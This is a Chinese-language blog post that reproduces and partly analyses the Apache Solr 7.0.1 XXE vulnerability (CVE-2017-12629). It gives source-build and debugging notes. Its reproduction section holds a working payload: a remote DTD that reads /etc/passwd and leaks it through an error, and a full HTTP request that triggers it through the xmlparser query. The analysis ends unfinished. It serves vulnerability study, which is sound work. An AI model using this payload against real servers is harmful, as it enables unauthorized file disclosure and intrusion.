Apache Solr - XXE&RCE
Apache Solr - XXE & RCE (1)
0x01 前言
网络上有很多师傅已经做过分析和复现,我写这篇文章的目的主要是为了两点:
- 从我本人的视角去更详细地去分析这个漏洞
- 写一个公式化工具插件,具体的框架我还没想好,但我会从这篇文章的这个漏洞开始编写我的漏洞利用代码(有点类似于bugscan那种插件形式),主要分为检测+利用
0x02 Solr源码安装
如果只是为了复现,直接使用官网提供的编译好的二进制文件即可,这里使用solr源码安装的方式,方便后面进行下断点和代码分析。
官网源码地址:
https://archive.apache.org/dist/lucene/solr/7.0.1/
该源码需要使用ant安装,其中会有链接失效的情况导致build失败,请检查链接,比如http需要改成https,或者某些库有问题,需要替换链接。
0x02 调试
访问
http://127.0.0.1:8983/
根据下边的链接可知
https://paper.seebug.org/425/
问题出现的代码片段位于
/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java
在解析xml时,使用parseXML方法进行解析
而parseXML中则使用DocumentBuilder类,该类的parse方法可以直接解析xml
添加一个collection(这里之前已经添加过所以直接使用test)
0x03 漏洞复现
根据vulhub的poc
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE
该poc直接使用的基于报错的XXE payload,原因是该接口本身出现了报错,因此可以利用这个特性进行报错输出我们想要的信息,具体payload可以参考这个
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
(1)远程服务器保存以下内容至test.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
(2)在该文件的目录下开启一个web接口,供远程读取test.dtd文件
(3)使用burp请求该数据包
GET /solr/test/select?q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+message+[<!ENTITY+%25+ext+SYSTEM+"http%3a//127.0.0.1%3a8088/test.dtd">+%25ext%3b]><message></message>&wt=xml&defType=xmlparser HTTP/1.1
Host: 192.168.52.129:8983
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
攻击成功
0x03
下断点,往上层追溯
该parseXML由parse方法进行调用
XmlQparser方法进行调用
分析不动。。。再往上层分析就是架构方面的问题了,暂时还没把流程架构读熟悉,这一块先留着,目前只知道漏洞点所在的情况,至于是哪些点触发最后到关键点的还得等以后熟悉再分析一次。